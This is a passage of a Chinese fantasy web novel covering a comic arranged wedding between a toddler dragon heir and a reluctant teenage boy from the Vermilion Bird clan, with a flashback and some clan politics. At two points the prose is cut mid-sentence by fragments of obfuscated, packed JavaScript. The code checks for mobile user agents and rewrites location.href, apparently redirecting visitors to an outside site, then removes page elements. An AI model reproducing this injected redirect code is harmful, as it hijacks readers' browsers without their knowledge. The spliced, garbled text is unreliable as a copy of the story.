“中衣。”云夫人坐在床边,朝旁伸出手,婆子便把一件幼童的丝绸中衣递了上来。 云夫人接过中衣,轻轻摇晃盘在她腿上酣睡的小龙:“眠儿,眠儿,醒醒。” 小龙睡得正香,听见云夫人的声音,也只将两只耳朵尖垂下来,塞住了耳朵眼。 “眠儿,你得化作人形,娘才能给你穿衣。”云夫人既无奈又宠溺。 小龙虽仍闭着眼睛,却听话地动了动身子,转眼便化作一名身着白色寝衣的幼童,安静地躺在云夫人怀中。 几名丫鬟婆子围了上来,与云夫人一同为云眠穿衣。云眠依旧呼呼大睡,只像木偶般被提拎手脚,任由摆布。不多时,一套簇新的红袍便穿在了身上。 “帕子。” 一张温热的湿帕子覆在云眠脸上,反复揉搓了几下。云眠虽被唤醒了几分,也固执地闭着眼,不肯彻底醒来,接着又被人抱起,放到了铜镜前。 铜镜中映出歪靠在母亲怀里的孩童,身着华贵红袍,滚着镶嵌龙纹的金边,还有那一脑袋和喜袍极不相符的,稀疏细软的头发。 云夫人拿着梳子又泛起了愁,这头发若是束冠,恐怕只有拇指大小的一撮,好在之前预备了假发,暂时也能应付过去。 当云眠终于穿戴整齐,人也终于清醒,粉雕玉琢地站在屋里,如同一个水晶做成的小人儿。 只是那圆盘状的假发色泽黑亮,和他软黄的头发区别明显,就像在头顶扣了一口黑锅。两只小角支棱在假发两侧,便是两个锅耳。 同样是穿喜服,隔壁的秦拓便没有这么好的待遇。 休息一晚,吃饱喝足,他已经恢复了不少力气,便将那群进屋给他穿衣的家仆给尽数打了出去。 云飞翼怒气冲冲地进屋时,便见他站在桌旁,头未梳,脸未洗,还穿着那套脏旧青衫,一脚踏着一把倾翻的椅子,正大口吃着搁在桌上的早膳。 秦拓对站在门口的云飞翼视若无睹,只不停将筷子往嘴里送。直到一股凌厉的力量袭来,他体内的力气被突然抽空,双手一软,筷子掉落在地。 他向后倒仰,被一旁的家仆接住。云飞翼冷声喝道:“把他洗干净,再换上衣服,别这幅污糟模样丢人现眼。” “是。” 秦拓被家仆抬向净房,明明身不能动,嘴上却不依不饶:“老长虫,你这是想饿死你家新过门的儿媳?老——” 他的嘴唇还在动,声音却戛然而止,被云飞翼下了禁言术。 云飞翼离开了屋子,两名家仆将秦拓剥得精光,再毫不客气地按进热水桶里,开始用丝瓜络搓泥。 秦拓被水呛得腔子痛,背心也被搓得一团火辣,偏偏口不能言,手不能动,只得在心中将两名家仆的祖宗十八代从坟里刨出来,碎尸万段。 转念一想,冤有头债有主,索性连老长虫和小长虫也一并骂了进去,心里乱刀飞舞,将他们剁成了海鲜馅,这才稍稍解了恨。 秦拓被洗干净,婆子丫鬟们涌入房内,七手八脚地给他套上了大红喜服。 原先的喜服是给雀丫儿准备的,他自然穿不得。这件喜服连夜赶制而成,虽未绣上繁复纹样,但质地考究,大红袍子上滚着金边,与云眠的喜服倒也相衬。 待到穿好衣靴,束好金冠,站在屋中央的秦拓,宛若换了一个人。 他身形修长,肩宽腰窄,既有少年的清瘦,又隐隐透出几分力量感。鼻梁高挺,星眸皓齿,微微上挑的眼尾带着几分锋芒,一副绝顶的好模样。 他虽然年岁不大,却已让一帮小丫鬟看得不转眼。直到他被家仆架着出了屋,才有些羞赧地收回视线。 秦拓被塞入花轿后,云眠也被云夫人牵着手走出院门,随后被抱上了千年老龟的背。 唢呐齐鸣,鞭炮炸响,浩浩荡荡的迎亲队伍开始在龙隐谷中巡游。 虽然没有邀请外客,但龙隐谷附近居住着大量水族。现在灵气稀少,他们平素靠吸取一点龙息进行修炼,现在也纷纷赶来,密密匝匝地挤在谷中。 队伍每走出几步,阿帮便会敲一下锣,再扯开嗓子高声喊:“天地为证,乾坤交泰!” 河鲜海鲜们齐声震呼:“天地为证,乾坤交泰!” “天地共鉴,龙凤和鸣!” 河鲜海鲜们跪下叩头:“天地共鉴,龙凤和鸣!” 秦拓头顶红盖头,全身无力地靠坐在花轿里,只能透过摇晃的轿帘,从盖头下瞥见外面的景象。 他隐约看见轿子旁行着一只磨盘大的老龟,龟背上坐着一名胸戴大红花的幼童,对话声也断续传入耳中。 “龟爷爷,我要掉下去了,您当心着我。” “小少爷,你抱着我脖子就不会掉了。” “好的。” “不要抠我的眼珠子。” “哦,好的。” 如果在十天前,有人告诉秦拓,他会成为别人家的儿媳,还会顶着盖头坐花轿,别说他不信,狗听了都摇头。 但现在他竟然真的被嫁到了龙族,新郎官还是个没断奶的小长虫,他既气得牙痒,又觉得这一切荒谬到不可思议。 疯了吧?这些烂鱼臭虾怕是都疯了吧? 秦拓在心里怒骂,却又无可奈何。 待到迎亲队伍绕谷一周,接受完众水族的朝拜与祝福,最终停在龙隐谷大殿前时,已是几个时辰之后。 云眠被抱下了老龟背,立即就要去拿丫鬟一路提着的蝈蝈笼子,被云夫人一把抱住。 “眠儿,快去牵你的新娘子。”云夫人指指花轿。 云眠想起了雀丫儿妹妹,顿时眉开眼笑,也顾不得自己的蝈蝈,在众人的注视下,兴冲冲地走向了花轿。 “小少爷……”奶娘在旁边挤眉弄眼,“踢得越重,越听话。” 云眠在轿门前停下脚步,细声细气地拒绝:“那样会吓着雀丫儿妹妹的。” 话毕,他却退后两步,姿态庄重地撩起袍角,再深吸一口气,大喊一声朝前冲了出去。 “啊——”他拧起眉抬起短腿,照着轿子腿狠狠踹了上去。 这一脚用上了吃奶的力,他身体不稳地朝旁栽去,被喜婆眼疾手快地扶住,才免于摔个嘴啃泥。 秦拓坐在轿里,竟被踹得微微一晃。他从盖头下方瞥见那只穿着黑靴的小脚,顿时怒火中烧,恨不得将那只脚一把抓住,再咔嚓一声生生掰折。 轿帘子掀开,秦拓被两名家仆半搀半架地走向大殿,云眠则托着红绸一端,快步跟在他们身侧。 他很想钻去那方盖头下瞧人的脸,却被喜娘制止,只能频频转头瞧,笑得眉眼弯弯。 谷里诸人已反复叮嘱过,他知道这方盖头下便是他的娘子,是那娇得像是露珠儿的雀丫儿妹妹。 从此他便有娘子陪着一起玩,而他身为夫君,定要大度一些,允她给二将军喂龙珠草,允她玩自己的泥人,也允她一起吃奶。 当然,若是娘子不好,频频忤逆他,诸如抢走他的蝈蝈,砸烂他的泥人,那必定不能忍,需得休了她。 秦拓被家仆搀扶着踏入大殿时,双腿虚软无力,脚尖不慎勾住了门槛。即便有人扶着,他仍是一个踉跄,头上的盖头也掉在了地上。 云眠一直扭头看着他,待眼前红影一闪,下意识伸手去捞,却抓了个空。 他见那盖头掉落在地,赶忙小跑上前,弯腰捡起,拍了拍上面的灰尘,随后踮起脚尖递向秦拓,殷勤地道:“娘子,给。” 秦拓垂眸冷冷看着他,并没有伸手去接。而他在瞧清秦拓面容后,脸上的笑容逐渐凝固,只微张着嘴,如同被雷劈中了一般。 一大一小俩孩子就这样沉默地对视着,一个仰着脑袋,一个垂着头。 殿内其他人都看着他们,唢呐不知什么时候也已停下,大殿内死一般地安静。 坐在大殿上首的云飞翼重重咳了声,扶着秦拓的家仆如梦初醒,赶紧接过云眠手里的盖头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299262|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吹鼓手连忙奏乐,唢呐与锣鼓重新响起。 云眠也回过神,左手无措地抓着衣袍,右手指着秦拓,大声问云飞翼:“他,他,爹,我的娘子呢?” 云飞翼没吭声,站在一旁的奶娘回道:“我的小少爷哎,他就是少奶奶,是你的娘子。” 云眠又看了眼秦拓,见他面容紧绷,目露凶光,不由打了个哆嗦,下意识后退半步。 他再探头往秦拓身后瞧,在发现那处再没有其他人后,一双眼睛里除了茫然,还有浓浓的失望和委屈。 经过几个时辰,秦拓这时舌头不再发硬,勉强能够出声。他虽然连站稳的力气都没有,却也朝着云眠龇牙一笑,并哑声骂道:“剁了你,小长虫。” 露珠儿成了浊泥水,娇花儿成了山中狼,还开口便骂人小长虫。 云眠仰头看着秦拓,淡粉色的嘴唇抖啊抖,眼里迅速蓄满了泪水。一声尖锐的哭嚎随之响起,洪亮地盖过了唢呐声:“哇——我不要这个娘子,不要!” 云眠转头便往殿外跑,被一群婆子七手八脚地抓住:“小少爷,要先拜堂呐。” “小少爷,别使性子,这就是你娘子。” …… “这不是我娘子,不是我娘子。”云眠被婆子禁锢在怀里,蹬直两腿强直身体,哭得上气不接下气,冲着赶过来的云飞翼和云夫人喊,“我要雀丫儿妹妹,我不要这个,哇——休了他,休了他!” “不得胡闹,他就是你的娘子。”云飞翼一脑门汗。 云眠哭着道:“那这个我不要了,送给你,你拿去。” 大殿里鸡飞狗跳,云眠像只炸毛的小兽,云飞翼扶额叹气,云夫人急得团团转。 秦拓只若置身事外,被人扶着站在一旁看乐子,笑得浑身发颤,嘴里还不停怂恿:“快冲上去打那老长虫,踢他,踢一脚,找他要雀丫儿。” 好在经过云夫人的柔声安慰,再被奶娘抱去内室吃过一次奶,最后云飞翼保证会再踅摸几只蝈蝈,云眠才终于松口,勉强答应拜堂。 “要很大的大将军。”云眠抽搭着道。 云飞翼道:“保管结实又壮,是开了嗓,生了膀花儿的大将军。” 婚礼继续进行,云眠虽然还满心悲痛,但想到大将军,倒也在蒲团上跪下。 秦拓此刻也笑不出来了,挣扎着身体,被两名家仆压在了蒲团上。 大巫在祭台前摇起铃铛,嘴里念念有词。秦拓再次被云飞翼禁了言,只低着头,喘着气。云眠垮着肩跪在他身旁,因为刚才一番扑腾,脑袋顶上的假发已经移位,要掉不掉地挂在额头上,不得不随时往上推一推。 “一拜天地!” 秦拓被压着叩拜,云眠也佝着背伏下,泪珠成串地淌在了蒲团上。 “二拜高堂!” 云眠现在既委屈又伤心,也迁怒于爹娘,不想看到他们,便在叩拜时将假发往下拉,挡住了两只眼睛。 “夫妻对拜!” 秦拓咬着牙不肯俯身,撑在蒲团上的双臂微微发抖,双眼从眉峰下瞪着云眠,目光冷如刀锋。 云眠刚掀起假发,便被他这幅凶相吓得一缩,但想到父母都在殿内,立即又有了胆色,红着眼睛恨恨道:“休了你!” “夫妻对拜!”面前的大巫再次提醒,声音里带着几分无奈。 秦拓被身后站着的家仆压下身体,云眠也被婆子按住了头,两颗俯下的脑袋,不情不愿地碰在了一起。 “礼成!” 大巫高喊礼成的瞬间,原本暗沉的天空突然亮堂,洒下万道金光。遥远天际隐隐传来梵音,数只彩羽鸟儿在云间翩然飞过,天地间一片祥和瑞气。 云飞翼原本端坐在大殿之上,见状猛地站起身,眼中满是欣喜:“被天地认可,这灵契共鸣是彻底成了!” 云夫人也激动得眼内含泪,双手合十,低声喃喃:“这下眠儿终于安全了。” 水族们纷纷道贺,龙隐谷内一片欢腾,唯有云眠还在伤心呜咽:“我的雀丫儿妹妹呀,我的娘子呀……” 5. 第 5 章 尽管未曾广邀外客,但云飞翼为子娶亲,新嫁娘还是朱雀家小子的消息已如风般传开。 众人皆知幼龙体弱,像是养不活,那么娶个小子应该是为了冲喜。虽然算不得正经婚礼,但终究是龙族与朱雀族联姻,大家仍依照礼数,纷纷送来贺礼。 谷口搭起了礼棚,前来送礼的各族门人络绎不绝。云飞翼正在厅内接见宾客,家仆便匆匆入内禀告:“家主,太上神宫前来道贺,是灵尊座下大弟子桁在。” 灵尊闭关,他座下首席大弟子桁在便代表本尊。 云飞翼亲自去谷口迎接,桁在身着一身素白长袍,面容清俊:“云家主大喜,灵尊虽因闭关无法亲临,却命我携薄礼前来,以表恭贺。” 云飞翼笑道:“两个孩子还小,成亲不过是一场家家酒罢了。” 两人寒暄几句,云飞翼见桁在似乎有话要说,便引他去了竹苑书房。 。 西厢院子里,云夫人正在哄劝云眠。 “雀丫儿妹妹没得空,所以秦拓哥哥来陪你玩了。你俩以后可以一起放炮仗,一起捏泥人。” 云眠垂着头,撅起嘴:“我不想和他一起玩。” “怎么不想呢?” “我要好看的妹妹,他不好看。”云眠嘟囔着道。 云夫人忍俊不禁,手指点点他的脑门,笑道:“你仔细想想,秦拓哥哥不好看吗?娘可没见过比他更俊俏的小郎君了。” 云眠的长睫轻轻颤动,似乎有些动摇,但仍旧低声抱怨:“他好凶。” “你记得爹爹给你抓的那只芦垭兽吗?它刚来时凶得很,险些挠伤了你的手,可它并不是真的凶,只是害怕被人伤害,等养了几天不就好了吗?” “他骂我是个小长虫。”云眠两只手在空中上下切,愤愤道,“他要把我剁吧剁吧。” “那只是吓唬你的话。” 云眠眼珠一转,开始添油加醋:“他说我是蝲蝲蛄,是拉粪球的屎壳郎,很臭很臭。” “他可没说你是蝲蝲蛄,也没说你拉粪球,我方才都听着的。” 云眠推了推头顶有些歪斜的假发,抿着唇没有吭声。 云夫人轻轻叹了口气,一边替他整理假发,一边柔声哄道:“眠儿,秦拓哥哥到了咱们这儿,又和你成了亲,那你就是他最亲近的人了。他孤身一个,来这儿也并非自己的意愿,其实是我们有求于他。他性子冷些不打紧,你多和他玩,多和他说说话,慢慢就会好起来的。娘知道你是个贴心的孩子,一定能和他处得好的,是不是?” 云眠低着头,手指抠着母亲衣角上的绣纹,半晌后才闷闷地嗯了一声。 云夫人亲了亲他头顶的小角,示意候在外头的婆子进来照看着,自己则去隔壁看秦拓。 白日拜过堂后,秦拓便又回到了厢房里。他自知暂时逃不掉,索性将一切抛之脑后,只大口吃那些家仆送入的吃食。 他抓着水晶肘子狼吞虎咽,酱汁顺着指缝流淌,能听见隔壁小长虫正绕着桌子跑,一名婆子在追着他喂饭。 “少主人,别跑了,当心碰上桌角。” “要跑要跑。” “再吃一口,这可是丹霞灵芽酪。” “不吃不吃。” 秦拓吃到肚子再也撑不下,用布巾拭净手和嘴,打着饱嗝去床上躺下,闭上眼,双腿交叠,双手枕在脑后。 云夫人推开门时,便见他卧于床上,靴未除,衣未脱,桌上汤水淋漓,散着未用尽的餐食。 云夫人对一屋狼藉并未在意,只在床边的椅子上坐下,温声道:“秦拓,好孩子,这次委屈了你。不过你已经到了我们家,这既是天意,也是缘分。你且放宽心,龙隐谷从此便是你的家,我和家主定会疼你爱你,不让你受半点委屈。” 云夫人这番话说得情真意切,但秦拓只一言不发地仰躺着,一只手横于额前,挡住了眉眼,只能看见那高挺的鼻梁与紧抿的唇。 一阵静默,云夫人正欲再开口,他却突然打了个呵欠:“云夫人,有什么话晚些说,我很累了,想睡觉。” “好,那你睡,你睡。”云夫人便不再打扰他,只蹲下身,给他除掉靴,盖上被,再放轻手脚走出了屋。 听见关门声响,秦拓这才放下横在额前的手臂,目光淡漠地看着帐顶。 他听见了云夫人与云眠方才的对话,也清楚很多人会暗暗羡慕他。 毕竟龙族是灵界第一大族,不光实力雄厚,还富甲天下。当儿媳算什么?他的族人们都巴不得能将自家雀儿送来,雌雄不论,哪怕一拖二,端一窝都可。 但他只想去找十五姨,毫不稀罕那些好处,更不愿意去做那小长虫的男媳妇。 但他历来懂得审时度势,刚来时和云飞翼扛上,那是心里憋着一口气。现在冷静下来,觉得必须要忍忍。 反正要寻个时机脱身,若一味逞强惹怒云飞翼,吃亏的还是自己。 他胡思乱想着,脑海里浮现出前几天发生的事。 那日早晨,他在后山伺弄自己的那一小块地,从山下汲水挑上山,再去浇那些蔫头搭脑的玉米苗儿。 几名雀娃从山路上跑来,叽叽喳喳地喊:“鸾儿哥。” “鸾儿哥。” “鸾儿哥。” …… “放!”秦拓眼也不抬。 “家主叫你。” “家主叫你哟。” “家主叫你。” …… “叫我做什么?”秦拓问。 雀娃们都在秦拓手里吃过亏,知道他蔫儿坏,有些怕他,将话递到了便往回跑,只道:“我们也不知道。” “不知道。” “不知道。” …… 他们跑得惊慌,秦拓懒洋洋地直起身:“都小心点,谁踩了我的苗儿,我抓到一个,就捏死一个。” 一个雀娃摔在田埂上:“哎哟。” “哎哟。” “哎哟。” …… 后面绊倒一串。 秦拓进入主家大屋时,看见秦原白就坐在火坑旁,埋头抽着旱烟。秦夫人坐在他身旁,端着一个竹兜在摘野菜。 听见脚步声,秦原白也没看他,只将烟杆在坑沿上敲了敲,再吩咐秦夫人,让她把族里那一大群雀丫儿雀娃都带去后山,等晚了再回来。 秦夫人放下野菜筐,摘下打满补丁的围裙,一言不发地起身走向门口。 路过秦拓身旁时,转头看了他一眼。 待到秦夫人出门,秦原白这才抬起头,目光长久地停留在秦拓身上,神情复杂难辨。 秦拓知道这个舅舅历来对自己不喜。他偶尔会在某个不经意的瞬间,撞见秦原白用一种奇怪的眼神打量着他。那目光有些冷,带着审视与戒备,虽然看着他,却像是在看一名陌生人。 秦拓见秦原白此时又是那种目光,心头感觉到了一丝不妙,但面上却不动声色,只静静站着等待下文。 秦原白却又垂下头,拿着烟管在灰堆里拨,拨出一个灰扑扑的烤红薯,拿起来拍了拍,抬手朝他丢了过来。 秦拓接过烤红薯,被烫了个哆嗦,两手腾挪几次后,赶紧将红薯揣进了裤兜。 “鸾儿。”秦原白注视着面前的火苗,慢吞吞地开口,“那年听闻你娘重病,我连夜赶去,也只见到她最后一面。那时候你未到半岁,只有乳名,我把你抱回了炎煌山,给你取名秦拓。” 秦拓听见他突然提起自己娘,垂在腿侧的手下意识握紧。 “知道我给你取这个名的用意吗?” “不知道。”秦拓摇了下头。 秦原白淡声道:“一念不生,万缘皆拓。不落因果,不昧因果。” 秦拓虽跟着族学先生念过书,却也不懂这话是什么意思。不过这无妨,他在秦原白面前,向来懂得如何表现。 “侄儿明白,这个名字包含着舅舅对我的期许。”他垂下眼睫,语气诚恳,“侄儿会牢牢记住,不负这个名字的深意。” 秦原白转头端详着他,目光里带着审视。 他站得笔直,态度毕恭毕敬。 秦原白对他的反应比较满意,又道:“咱们炎煌山历来灵气就少,近来更是几近枯竭,族人连化形都困难。所以再过段日子,全族要迁去瀚海,你就不用跟着我们一起了。” 秦拓一怔:“您是想让我留在炎煌山吗?” 秦原白摇摇头:“我想让你去龙族。” “去龙族?做什么?” “云飞翼要来咱家选一个娃,做他的儿媳,所以我把其他娃都打发了,只留下了你。”秦原白回道。 …… 炎煌山上分布着数座平房,皆是用竹条筑出墙体,再糊上厚实粘泥,反复夯捶,简陋却牢固。 秦拓气喘吁吁地在那些房屋间穿梭飞奔,不时撞翻院子里晾晒药材的簸箕,或是踢倒屋檐下堆放的干柴堆。 数名族人一边喊着他的名字,一边围追堵截。但秦拓身形敏捷,力量也超出常人,便是被人抓住,也总是能从他们手里挣脱。 他再一次从包抄里突围而出,嗖嗖爬上旁边的树,先是软下声音,叔伯公爷地挨个央求,见树下诸人不为所动,那满脸讨好顿时消失,目光也变得冷厉。 他一把抄起树杈上的鸟窝,对着下方冲来的人冷笑道:“来来来,继续来,只要不怕我把这些蛋都给砸了,让你们断子绝孙。” 族人们果然被震慑住,纷纷停下脚步,却又七嘴八舌地劝说起来。 “鸾儿,你这憨娃,这是让你去龙族享福,你怎地搞得像是跳火坑?” “我倒是想让我家大妮子去,可惜家主不允,她没那个福气。” “我家那六个小子丫头,也可以任由家主挑。” …… 这边吵吵成一团,秦原白就蹲在远处屋檐下,也没看这边,只叭叭抽着烟。 秦拓骑在树上,一边喘着气,一边将目光投向村口,心道这是留不得了。 他原本就打算离开村子,去弘沙地寻十五姨,不过要待地里的玉米长成,再背上一袋作干粮。可如今要被送去龙族做媳妇,他只得舍了那一地玉米,现在就离开这里。 秦拓在心中拿定了主意,可这一会儿功夫,树下已被族人层层围住。 他虽然用鸟蛋进行威胁,但这些人还是不散,这使他内心烦躁渐增,也涌起了一股戾气。 既然这些人吃定了他不会砸鸟蛋,那么干脆砸一个给他们看看。 但就在秦拓刚取出一个暖呼呼的鸟蛋时,原本低头抽着旱烟的秦原白突然转过头,目光如刀锋般直直刺了过来。 “你敢!”秦原白一声厉喝。 树下的人正仰头看着,便见骑在树上的少年身形一僵,随即直挺挺地倒向左边,连着鸟窝一同栽下了树。 众人七手八脚地接住那窝鸟蛋,同时也接住了秦拓,但立即又将人按倒在地。 秦拓待到身上的麻木感消失,便开始奋力挣扎,直到面前出现了一双灰色草鞋,才慢慢停下了动作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299263|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喘着气抬起头,见秦原白就站在他面前,神情冰冷,目光里含着怒意。 “冷心冷肺,天性凉薄。”秦原白从齿缝里挤出这几个字,接着对旁边人道,“找条绳子捆起来,待到迎亲队伍到了,就把人交给他们。” 秦拓被族人扛着去了旁边屋子,他抬起头,嘶哑着声音喊:“秦原白,你才是冷心冷肺,天性凉薄。这十二年来,不管我怎么讨好你都没用,你待我还不如村子里的一条狗。从今以后,我和朱雀族没有任何关系,你也不再是我舅舅。” 族人们面面相觑,却无人敢出声。秦原白闭了闭眼,只一言不发地转身…… 。 秦拓躺在床上,回想起离村之前的那一幕,心中既愤恨,却也涌起了一阵酸楚。 父亲所在的雷纹猊族本就人丁单薄,随着他的去世,这个族群彻底消失在灵界。秦原白虽待他疏离,却终究是舅舅,是他在这世上除父母外最亲的人。 他在炎煌山生活了十二年,就这样被舅舅赶出了朱雀族,强行塞进轿子,甚至没来得及取走父亲留给自己的遗物。 他向来极少流泪,记忆中唯有十五姨出嫁那日,他伤心哭过一场。但现在一滴水珠从他眼角滑落,无声地浸入枕头。 …… 竹苑书房内檀香袅袅,桁在与云飞翼在榻上相对而坐,中间隔着一张雕花木几。 桁在语气低沉地开口:“人界生成混沌之气,本该阴阳轮转。若人间太平,灵气与魔气尚平衡,可虽然夜阑被除,人界依旧战乱肆虐,怨气凝结,十之八九的混沌之气都堕为魔气。我们修炼的灵气越来越稀薄,初生的小灵都无法化形。” 他抬头看向云飞翼,清俊的脸上满是忧虑:“灵尊还未出关,要是夜谶此时来犯,那我们灵界的处境会很艰难。” “关隘处有你们无上神宫镇守,魔物进不了灵界。”云飞翼凝视着杯中起伏的茶叶,一字一句道,“至于夜谶,当年我们能杀掉夜阑,现在也定能除掉他。” “夜谶可比夜阑难对付,而且当年我们能除掉夜阑,也是因为——” 桁在的话戛然而止,他自知失言,迅速看了云飞翼一眼。 云飞翼神情微变,又瞬间恢复,只冷笑一声:“不杀夜阑,灵界便会被魔界吞噬,为了灵界,何拘手段?我只后悔当时没将夜谶一并除去,留下今日祸患。” “那是自然,若非各族联手除掉夜阑,又哪有灵界这十余年的安稳?”桁在当即温声附和。 见云飞翼神情变缓,他又道:“只是人界烽烟四起,生灵涂炭,致使灵气愈发稀薄,我打算派人去人界看看,是否有魔物在其中推波助澜。” 叮叮叮…… 几声清脆的铃声突然响起,云飞翼神色一凛,桁在也微微蹙起眉。 桁在从袖中取出一枚金铃,那金铃正发出急促的声响。 “金铃示警,玉门结界有异动。”云飞翼倏地站起身,满脸紧张。 桁在神情倒还镇定:“无妨,这几日金铃老是误报,应该是出了点小毛病。不过为防万一,我还是得去玉门看看。” “如果玉门有什么事,便可发送传信符,我会立即赶去。”云飞翼道。 两人简单作别,桁在匆匆离开了庭院。云飞翼站在书房门口,目送他的背影走远,神情有些怔忪。 方才一番交谈,让他又想起多年前的那场血战,想起那翻滚的狼烟,哀嚎和惨叫,被鲜血染成了红色的大地…… 庭院里忽起一阵风,天色也骤然暗沉。檐下挂着的灯笼左右摇晃,也将云飞翼从回忆中惊醒。 风声里混杂着前院传来的丝竹声,却让他心头没来由地发紧,有种莫名的不安。 他从怀中取出一条颈链。 链条末端悬着一枚圆珠,核桃大小,深邃如墨,仿佛能将周围的光线都吸入其中。 一缕龙息从他指尖探出,黑珠缓缓绽开,露出内里一团跃动的金色光焰。光焰流转间,隐约可见龙形虚影在其中游走。 这是龙族的龙魂之核,白日里给云眠施展灵契共鸣之术,他便将它从隐秘之地取了出来。 他凝视着这团金色火焰,心里又平定下来,自嘲地勾起嘴角。 真是越活越回去了。 龙族的龙魂之核,朱雀族的涅槃之火,白虎族的天罡之刃和玄武族的祥瑞之珠。只要这几大圣物在,就算灵气稀薄,夜谶也绝对不敢对灵界出手。 “家主。” 他回过神,连忙收起圆球,看向门口。 一名家仆匆匆进入,将一封书信呈上:“这是朱雀族管事刚刚送来的信件,嘱咐务必亲手交给您。” “朱雀族管事?他人呢?”云飞翼立即追问。 “送到信后就走了。”家仆小心回道。 云飞翼脸色铁青,心中怒火暗涌。 他本是不得已才向朱雀族求娶,秦原白满口应承,扣下聘礼,迎回来的却是一名小子。 现在他打发人送来书信,分明就是心虚,连面都不敢露。 云飞翼不知秦原白会扯些什么理由,便唰地撕开封口,取出信纸,抖开。 云家主: 承兄厚爱,欲结秦晋之好,弟本应践诺,以雀丫儿相许,然事出有因,未能如愿。今以族中子侄秦拓代之,虽非雀丫儿,也可解眠侄之疾。望家主善待此子,赐其一席之地,允其温饱,在下感激不尽。 秦原白顿首 云飞翼心头恼恨愈盛,却也无可奈何,只将信纸狠狠揉做一团,掷向了旁边的纸篓。 6. 第 6 章 云飞翼本不欲张扬,奈何各族纷纷前来道贺,他只得大摆宴席,宾客从白日饮至晚上,依旧兴致高昂,无人离去。 主屋院子里,夏管事垂手而立,恭声询问云夫人:“夫人,可要安排洞房之礼?” 云夫人闻言失笑:“两个娃娃要什么洞房?” 管事是只虾灵,头顶上的两根长须迟疑地颤动:“夫人,便是戏台上唱姻缘,也要唱个圆满。少主人这是回秉天地的礼,总得揭个盖头喝个合卺酒,才算全了这出戏呀。” 云夫人觉得是这个道理,便道:“也罢,那便让他俩走个过场吧。” 自拜完堂后,秦拓又被带回了厢房,远处的喜宴喧闹声裹挟着丝竹管弦挤入门扉,显得室内更加安静。 他渐渐恢复了些力气,拿出揣在怀里的那颗金球,掂了掂,估摸着这怕有四斤,足够十五姨和他安稳度日。现在只需要待到宾客散尽,便寻个机会逃出谷。 门轴吱呀,他立即歪向床柱,软了筋骨做无力状,并挡住那被割掉金球的床栏。 屋内涌入一群家仆,撤去残羹,将狼藉桌面打扫干净。 一名家仆冲着他咧嘴一笑,手里拿着的红盖头艳得刺目:“少奶奶,按照规矩,您还得再盖上。” 秦拓由他给自己盖上盖头,按捺住将那盖头扯掉,再揪过家仆揍一顿的念头。 “……我不去,不想去。” 云眠被云夫人半牵半拽地领进门,看见坐在床榻上顶着盖头的秦拓,嘴巴撅得更长。 “快去。”云夫人指尖在云眠后背轻轻一推,“娘刚才教你的,去把秦拓哥哥头上的红布揭了。” 云眠扭了扭身体,小黑靴在地上蹭:“我不去,娘你去。” “那可不行,娘又不是新郎官。”云夫人眼里漾出笑意。 云眠的眼珠转向旁边的老仆:“福伯去。” “哎哟我的小少爷,那可是你的娘子。”白发苍苍的家仆弓着背,“红盖头得由新郎官亲手揭才行。” 云眠不情不愿地挪前,停在了秦拓身前,又转过头,眼巴巴地看着云夫人。 “去吧。”云夫人鼓励道。 云眠慢吞吞地转回身,踮起脚尖,一点点扯掉秦拓头上的红盖头。 盖头下的脑袋垂着,只有云眠这个角度,才能看见他的脸。 那脸上布满寒霜,黑沉的眸子犹如淬了冰。云眠呼吸一滞,仰头呆呆地和秦拓对视着。烛花突然爆了个响,惊得他一哆嗦,惊慌地往回跑,扑进云夫人怀里。 “娘,他在瞪我。” 云夫人看向秦拓时,他已经抬起了头,神色和目光都很平静。 “哪有瞪你?你看岔了。”云夫人轻抚着云眠的背。 “他好凶哦……”云眠靠在云夫人怀里。 秦拓既没动也没出声,只垂下眼眸抿紧唇,搁在腿上的双手慢慢握紧。落在旁人眼里,便显出几分隐忍的委屈。 云夫人略带责备地看了云眠一眼,又命婆子去倒酒。 大家都开始忙碌,云眠亦步亦趋地跟着云夫人,眼睛则紧盯着秦拓。 秦拓坐在床边,却在无人注意的时候,突然朝着云眠龇牙一笑,露出两排白森森的牙,看着有些瘆人。 “他,他在对我笑!”云眠一个哆嗦,想起奶娘的那些话,赶紧对旁边的家仆道,“他不听话,你们把他放回轿子里,我再去踢两脚。” 福伯道:“少奶奶在对你笑,这是心里欢喜呢。” “我不喜欢他笑。”云眠小声哼哼,“去拿条棍子来,他要笑,我就打他。” “这可使不得,小少爷,你得疼惜自己的娘子,不能动辄打骂。” 云夫人历来温和的脸也变得严肃:“你方才如何答应娘的?说要好好待秦拓哥哥,可还记得?” 秦拓闭上眼,深深吸了口气,有些难堪地扭过脸。 丫鬟们交换了一个眼神,暗暗摇头。 接下来便是喝交杯酒。说是酒,实则只是两盏花露。云眠说什么也不肯再靠近秦拓半步,两个婆子一左一右架着他,他便把身子往下坠,像滩水似的往地上溜滑。 实在没法子,只得由婆子分别捧着云眠和秦拓的盏,隔空做了个交杯的架势,再喂他们各自饮下。 依照礼制,两人还要发束相结。云眠平常最珍惜自己的头发,便抱着脑袋四处窜。但刚钻进圆桌下,肩膀就被按住,眼前闪过一道寒光,耳边响起一声咔嚓。 “成了。”喜娘一手拿着剪刀,一手捏着小股发束,喜滋滋地道。 喜娘将两束头发编在一起,那乌黑粗硬的自是秦拓的头发,而缠在其中那细软泛黄的发丝,便是云眠的了。 “恭祝小少爷与少奶奶永结同心。” 